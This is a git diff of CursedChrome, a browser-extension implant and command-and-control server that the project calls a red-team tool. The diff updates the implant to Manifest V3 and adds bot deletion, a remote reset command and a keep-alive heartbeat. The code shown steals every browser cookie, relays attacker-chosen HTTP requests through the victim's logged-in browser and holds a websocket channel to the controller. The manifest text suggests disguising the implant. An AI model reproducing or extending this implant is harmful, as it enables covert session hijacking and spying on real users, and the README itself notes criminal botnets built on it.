diff --git a/README.md b/README.md
index af4bb89..fc4763f 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,5 @@
# CursedChrome
+## *Now with (beta) Manifest V3 support!*




@@ -10,6 +11,10 @@ I thought this was clearly-implied, and that these disclaimers were redundant at
> This is a tool written for *professional red teams*. It helps simulate an often unpracticed attack scenario involving malicious browser extensions. If you're planning on using this to maliciously spy on your friend/girlfriend/victims, let me know your address and intent and I'll gladly forward your message to your local LEO for your convenience.
+For the [many](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rilide-a-new-malicious-browser-extension-for-stealing-cryptocurrencies/) Russian [ecrime](https://www.justice.gov/opa/pr/criminal-marketplace-disrupted-international-cyber-operation) groups that forked this project for their botnet, see the following disclaimer instead:
+
+> Разве ты не должен быть на передовой, товарищ? Тебя ждет беспилотник.
+
### Blue Teams/Defenders/CorpSec
If you're on the blue team and wondering about ways to defend against this, take a look at my [ChromeGalvanizer project](https://github.com/mandatoryprogrammer/ChromeGalvanizer), which generates easy-to-install Chrome enterprise policies to defend against attacks like this. An easy-to-use hosted version is available [here](https://thehackerblog.com/galvanizer/).
diff --git a/api-server.js b/api-server.js
index be2acf6..ecda57b 100644
--- a/api-server.js
+++ b/api-server.js
@@ -166,6 +166,33 @@ async function get_api_server(proxy_utils) {
}).end();
});
+ /*
+ Delete a bot
+ */
+ const DeleteBotSchema = {
+ type: 'object',
+ properties: {
+ bot_id: {
+ type: 'string',
+ required: true,
+ pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}'
+ },
+ }
+ }
+ app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => {
+ const bot = await Bots.findOne({
+ where: {
+ id: req.body.bot_id
+ }
+ });
+ await bot.destroy();
+
+ res.status(200).json({
+ "success": true,
+ "result": {}
+ }).end();
+ });
+
/*
Get list of bots
*/
diff --git a/docker-compose.yaml b/docker-compose.yaml
index ea6b168..fe808bf 100644
--- a/docker-compose.yaml
+++ b/docker-compose.yaml
@@ -1,4 +1,3 @@
-version: '3.2'
services:
redis:
image: "redis:alpine"
@@ -26,6 +25,7 @@ services:
# Number of bcrypt rounds for
# storing admin panel passwords.
BCRYPT_ROUNDS: 10
+ DEBUGGING: "yes"
ports:
- "127.0.0.1:8080:8080" # Proxy server
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
diff --git a/extension/manifest.json b/extension/manifest.json
index 1eeaf8b..e8e8fe8 100755
--- a/extension/manifest.json
+++ b/extension/manifest.json
@@ -1,7 +1,7 @@
{
"name": "CursedChrome Implant",
- "version": "0.0.1",
- "manifest_version": 2,
+ "version": "0.0.2",
+ "manifest_version": 3,
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
"homepage_url": "https://thehackerblog.com",
"icons": {
@@ -11,15 +11,15 @@
},
"default_locale": "en",
"background": {
- "scripts": [
- "src/bg/background.js"
- ],
- "persistent": true
+ "service_worker": "src/bg/background.js"
},
"permissions": [
"webRequest",
- "webRequestBlocking",
- "",
- "cookies"
+ "cookies",
+ "storage",
+ "declarativeNetRequest"
+ ],
+ "host_permissions": [
+ ""
]
-}
\ No newline at end of file
+}
diff --git a/extension/src/bg/background.js b/extension/src/bg/background.js
index 296554e..bbe96f8 100755
--- a/extension/src/bg/background.js
+++ b/extension/src/bg/background.js
@@ -22,30 +22,41 @@ const REQUEST_HEADER_BLACKLIST = [
const RPC_CALL_TABLE = {
'HTTP_REQUEST': perform_http_request,
- 'PONG': () => {}, // NOP, since timestamp is updated on inbound message.
+ 'PONG': () => { }, // NOP, since timestamp is updated on inbound message.
'AUTH': authenticate,
'GET_COOKIES': get_cookies,
+ 'RESET': reset,
};
+
+async function reset(params) {
+ // We've been reset, clear local identifier and reconnect
+ await chrome.storage.local.clear();
+ websocket.close();
+ websocket = false;
+ initialize();
+ return false;
+}
+
/*
Return an array of cookies for the current cookie store.
*/
async function get_cookies(params) {
// If the "cookies" permission is not available
// just return an empty array.
- if(!chrome.cookies) {
+ if (!chrome.cookies) {
return [];
}
return getallcookies({});
}
function getallcookies(details) {
- return new Promise(function(resolve, reject) {
+ return new Promise(function (resolve, reject) {
try {
- chrome.cookies.getAll(details, function(cookies_array) {
+ chrome.cookies.getAll(details, function (cookies_array) {
resolve(cookies_array);
});
- } catch(e) {
+ } catch (e) {
reject(e);
}
});
@@ -53,16 +64,15 @@ function getallcookies(details) {
async function authenticate(params) {
// Check for a previously-set browser identifier.
- var browser_id = localStorage.getItem('browser_id');
+ const browser_id_obj = await chrome.storage.local.get(['browser_id']);
// If no browser ID is already set we generate a
// new one and return it to the server.
- if(browser_id === null) {
+ if (browser_id_obj === null || !('browser_id' in browser_id_obj)) {
browser_id = uuidv4();
- localStorage.setItem(
- 'browser_id',
- browser_id
- );
+ await chrome.storage.local.set({
+ 'browser_id': browser_id
+ });
}
/*
@@ -70,7 +80,7 @@ async function authenticate(params) {
some metadata about the instance.
*/
return {
- 'browser_id': browser_id,
+ 'browser_id': browser_id_obj.browser_id,
'user_agent': navigator.userAgent,
'timestamp': get_unix_timestamp()
}
@@ -79,16 +89,16 @@ async function authenticate(params) {
function get_secure_random_token(bytes_length) {
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let array = new Uint8Array(bytes_length);
- window.crypto.getRandomValues(array);
+ crypto.getRandomValues(array);
array = array.map(x => validChars.charCodeAt(x % validChars.length));
const random_string = String.fromCharCode.apply(null, array);
return random_string;
}
function uuidv4() {
- return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
- (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
- );
+ return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
+ (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
+ );
}
function arrayBufferToBase64(buffer) {
@@ -98,7 +108,7 @@ function arrayBufferToBase64(buffer) {
for (var i = 0; i < len; i++) {
binary += String.fromCharCode(bytes[i]);
}
- return window.btoa(binary);
+ return btoa(binary);
}
function get_unix_timestamp() {
@@ -240,7 +250,7 @@ async function perform_http_request(params) {
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
// Handler 301, 302, 307 edge case
- if(response.url.startsWith(redirect_hack_url_prefix)) {
+ if (response.url.startsWith(redirect_hack_url_prefix)) {
var response_metadata_string = decodeURIComponent(response.url);
response_metadata_string = response_metadata_string.replace(
redirect_hack_url_prefix,
@@ -300,11 +310,10 @@ function initialize() {
// snitch don't alert on a new port connection from Chrome).
websocket = new WebSocket("ws://127.0.0.1:4343");
- websocket.onopen = function(e) {
- //websocket.send("My name is John");
+ websocket.onopen = function (e) {
};
- websocket.onmessage = async function(event) {
+ websocket.onmessage = async function (event) {
// Update last live connection timestamp
last_live_connection_timestamp = get_unix_timestamp();
@@ -320,6 +329,9 @@ function initialize() {
if (parsed_message.action in RPC_CALL_TABLE) {
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
+ if (result === false) {
+ return;
+ }
websocket.send(
JSON.stringify({
// Use same ID so it can be correlated with the response
@@ -333,7 +345,7 @@ function initialize() {
}
};
- websocket.onclose = function(event) {
+ websocket.onclose = function (event) {
if (event.wasClean) {
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
} else {
@@ -343,7 +355,7 @@ function initialize() {
}
};
- websocket.onerror = function(error) {
+ websocket.onerror = function (error) {
console.log(`[error] ${error.message}`);
};
}
@@ -372,9 +384,9 @@ Additionally, for defense in depth, nothing that isn't initiated by the Chrome e
is actually processed.
*/
chrome.webRequest.onBeforeSendHeaders.addListener(
- function(details) {
+ function (details) {
// Ensure we only process requests done by the Chrome extension
- if(details.initiator !== location.origin.toString()) {
+ if (details.initiator !== location.origin.toString()) {
return
}
@@ -382,54 +394,54 @@ chrome.webRequest.onBeforeSendHeaders.addListener(
var header_keys_to_delete = [];
var headers_to_append = [];
- details.requestHeaders.map(requestHeader => {
- if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
- has_header_secret = true;
- header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
- }
- });
+ details.requestHeaders.map(requestHeader => {
+ if (requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
+ has_header_secret = true;
+ header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
+ }
+ });
- // If there's no secret header set with the
- // proper secret then quit out the proxy replacement.
- if(!has_header_secret) {
- return {
- cancel: false
- };
- }
+ // If there's no secret header set with the
+ // proper secret then quit out the proxy replacement.
+ if (!has_header_secret) {
+ return {
+ cancel: false
+ };
+ }
- // Get headers to remove and headers to append
- details.requestHeaders.map(requestHeader => {
- if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
- header_keys_to_delete.push(requestHeader.name);
+ // Get headers to remove and headers to append
+ details.requestHeaders.map(requestHeader => {
+ if (!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
+ header_keys_to_delete.push(requestHeader.name);
// Skip the header if it's in the blacklist (e.g. Cookie)
- if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
+ if (REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
return
}
- headers_to_append.push({
- 'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
- 'value': requestHeader.value
- })
- }
- });
+ headers_to_append.push({
+ 'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
+ 'value': requestHeader.value
+ })
+ }
+ });
- // Remove headers
- details.requestHeaders = details.requestHeaders.filter(requestHeader => {
- return !header_keys_to_delete.includes(requestHeader.name);
- });
+ // Remove headers
+ details.requestHeaders = details.requestHeaders.filter(requestHeader => {
+ return !header_keys_to_delete.includes(requestHeader.name);
+ });
- // Add appended headers
- details.requestHeaders = details.requestHeaders.concat(
- headers_to_append
- );
+ // Add appended headers
+ details.requestHeaders = details.requestHeaders.concat(
+ headers_to_append
+ );
return {
- requestHeaders: details.requestHeaders
+ requestHeaders: details.requestHeaders
};
}, {
- urls: [""]
- }, ["blocking", "requestHeaders", "extraHeaders"]
+ urls: [""]
+}, ["requestHeaders", "extraHeaders"]
);
@@ -439,29 +451,29 @@ const REDIRECT_STATUS_CODES = [
307
];
-chrome.webRequest.onHeadersReceived.addListener(function(details) {
+chrome.webRequest.onHeadersReceived.addListener(function (details) {
// Ensure we only process requests done by the Chrome extension
- if(details.initiator !== location.origin.toString()) {
+ if (details.initiator !== location.origin.toString()) {
return
}
// Rewrite Set-Cookie to expose it in fetch()
var cookies = []
details.responseHeaders.map(responseHeader => {
- if(responseHeader.name.toLowerCase() === 'set-cookie') {
+ if (responseHeader.name.toLowerCase() === 'set-cookie') {
cookies.push(responseHeader.value);
}
});
if (cookies.length != 0) {
details.responseHeaders.push({
- 'name': 'X-Set-Cookie',
- // We pack array of cookies into string and depack later.
- // Otherwise multiple Set-Cookie headers would be merged together.
- 'value': JSON.stringify(cookies)
+ 'name': 'X-Set-Cookie',
+ // We pack array of cookies into string and depack later.
+ // Otherwise multiple Set-Cookie headers would be merged together.
+ 'value': JSON.stringify(cookies)
});
}
- if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
+ if (!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
return {
responseHeaders: details.responseHeaders
}
@@ -480,4 +492,48 @@ chrome.webRequest.onHeadersReceived.addListener(function(details) {
};
}, {
urls: [""]
-}, ["blocking", "responseHeaders", "extraHeaders"]);
+}, ["responseHeaders", "extraHeaders"]);
+
+
+(async () => {
+ // From https://developer.chrome.com/docs/extensions/develop/migrate/to-service-workers#keep_a_service_worker_alive_continuously
+ /**
+ * Tracks when a service worker was last alive and extends the service worker
+ * lifetime by writing the current time to extension storage every 20 seconds.
+ * You should still prepare for unexpected termination - for example, if the
+ * extension process crashes or your extension is manually stopped at
+ * chrome://serviceworker-internals.
+ */
+ let heartbeatInterval;
+
+ async function runHeartbeat() {
+ await chrome.storage.local.set({ 'last-heartbeat': new Date().getTime() });
+ }
+
+ /**
+ * Starts the heartbeat interval which keeps the service worker alive. Call
+ * this sparingly when you are doing work which requires persistence, and call
+ * stopHeartbeat once that work is complete.
+ */
+ async function startHeartbeat() {
+ // Run the heartbeat once at service worker startup.
+ runHeartbeat().then(() => {
+ // Then again every 20 seconds.
+ heartbeatInterval = setInterval(runHeartbeat, 20 * 1000);
+ });
+ }
+
+ async function stopHeartbeat() {
+ clearInterval(heartbeatInterval);
+ }
+
+ /**
+ * Returns the last heartbeat stored in extension storage, or undefined if
+ * the heartbeat has never run before.
+ */
+ async function getLastHeartbeat() {
+ return (await chrome.storage.local.get('last-heartbeat'))['last-heartbeat'];
+ }
+
+ await startHeartbeat();
+})();
\ No newline at end of file
diff --git a/gui/src/components/Main.vue b/gui/src/components/Main.vue
index 0494937..0f8ecdd 100644
--- a/gui/src/components/Main.vue
+++ b/gui/src/components/Main.vue
@@ -165,6 +165,12 @@
Rename
+
+
+
+ Delete Bot
+
+
@@ -284,6 +290,17 @@ export default {
this.user.password_should_be_changed = login_result.password_should_be_changed;
},
+ async delete_bot() {
+ await api_request(
+ 'DELETE',
+ '/bots', {
+ 'bot_id': this.options_selected_bot.id
+ }
+ );
+ this.$toastr.s('Bot deleted succesfully.');
+ this.$bvModal.hide('bot_options_modal');
+ this.refresh_bots();
+ },
async update_bot_name() {
await api_request(
'PUT',
diff --git a/server.js b/server.js
index 566a00e..0e6cb41 100644
--- a/server.js
+++ b/server.js
@@ -4,6 +4,7 @@ const cluster = require('cluster');
const WebSocket = require('ws');
const https = require('https');
const redis = require("redis");
+const http = require('http');
const uuid = require('uuid');
const util = require('util');
const fs = require('fs');
@@ -33,7 +34,7 @@ const numCPUs = require('os').cpus().length;
const PROXY_PORT = process.env.PROXY_PORT || 8080;
const WS_PORT = process.env.WS_PORT || 4343;
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
-const SERVER_VERSION = '1.0.0';
+const SERVER_VERSION = '1.0.1';
const RPC_CALL_TABLE = {
'PING': ping,
@@ -46,6 +47,31 @@ const REQUEST_TABLE = new NodeCache({
});
async function ping(websocket_connection, params) {
+
+
+ // Update bot as online
+ const bot = await Bots.findOne({
+ where: {
+ browser_id: websocket_connection.browser_id
+ }
+ });
+
+ if (!bot) {
+ websocket_connection.send(
+ JSON.stringify({
+ 'id': uuid.v4(),
+ 'version': SERVER_VERSION,
+ 'action': 'RESET',
+ 'data': {}
+ })
+ )
+ return
+ }
+
+ await bot.update({
+ is_online: true,
+ });
+
// Send PONG message back
websocket_connection.send(
JSON.stringify({
@@ -55,16 +81,6 @@ async function ping(websocket_connection, params) {
'data': {}
})
)
-
- // Update bot as online
- const bot = await Bots.findOne({
- where: {
- browser_id: websocket_connection.browser_id
- }
- });
- await bot.update({
- is_online: true,
- });
}
function get_browser_proxy(input_browser_id) {
@@ -79,9 +95,9 @@ function get_browser_proxy(input_browser_id) {
}
function authenticate_client(websocket_connection) {
- return new Promise(function(resolve, reject) {
+ return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
- setTimeout(function() {
+ setTimeout(function () {
reject(`A timeout occurred when authenticating WebSocket client.`);
}, (30 * 1000));
@@ -109,9 +125,9 @@ function authenticate_client(websocket_connection) {
}
function get_browser_cookie_array(browser_id) {
- return new Promise(function(resolve, reject) {
+ return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
- setTimeout(function() {
+ setTimeout(function () {
reject(`Get cookies RPC called timed out.`);
}, (30 * 1000));
@@ -149,9 +165,9 @@ function get_browser_cookie_array(browser_id) {
}
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
- return new Promise(function(resolve, reject) {
+ return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
- setTimeout(function() {
+ setTimeout(function () {
reject(`Request Timed Out for URL ${url}!`);
}, (30 * 1000));
@@ -248,7 +264,7 @@ async function get_authentication_status(inputRequestDetail) {
// If we already have this cached we can stop here.
const credential_data_string = await getAsync(memory_cache_key);
- if(credential_data_string) {
+ if (credential_data_string) {
const cached_record = JSON.parse(credential_data_string);
return {
'id': cached_record.id,
@@ -274,7 +290,7 @@ async function get_authentication_status(inputRequestDetail) {
// No need to wait for this to resolve
await setexAsync(
memory_cache_key,
- ( 60 * 10 ),
+ (60 * 10),
JSON.stringify(browserproxy_record),
);
@@ -355,7 +371,7 @@ const options = {
//throttle: 10000,
forceProxyHttps: true,
wsIntercept: false,
- silent: true
+ silent: !(process.env.DEBUGGING === "yes")
};
async function initialize_new_browser_connection(ws) {
@@ -432,7 +448,7 @@ async function initialize() {
redis_client = redis.createClient({
"host": process.env.REDIS_HOST,
});
- redis_client.on("error", function(error) {
+ redis_client.on("error", function (error) {
logit(`Redis client encountered an error:`);
console.error(error);
});
@@ -449,12 +465,12 @@ async function initialize() {
delAsync = util.promisify(redis_client.del).bind(redis_client);
// Called when a new redis subscription is added
- subscriber.on("subscribe", function(channel, count) {
+ subscriber.on("subscribe", function (channel, count) {
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
});
// Called when a new message is written to a channel
- subscriber.on("message", function(channel, message) {
+ subscriber.on("message", function (channel, message) {
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
// For messages being sent to the browser from the proxy
@@ -495,8 +511,21 @@ async function initialize() {
}
});
+ // Build HTTP server first and pass to WS server
+ // This is a forward-looking change so versioning doesn't
+ // become a clusterfuck with addon tools for the server.
+ const http_server = http.createServer(function (req, res) {
+ res.writeHead(200, {
+ 'Content-Type': 'text/plain',
+ 'CC-Server-Version': SERVER_VERSION,
+ });
+ res.write('');
+ res.end();
+ }).listen(WS_PORT);
+
wss = new WebSocket.Server({
- port: WS_PORT
+ server: http_server
+ // port: WS_PORT
});
wss.on('connection', async function connection(ws) {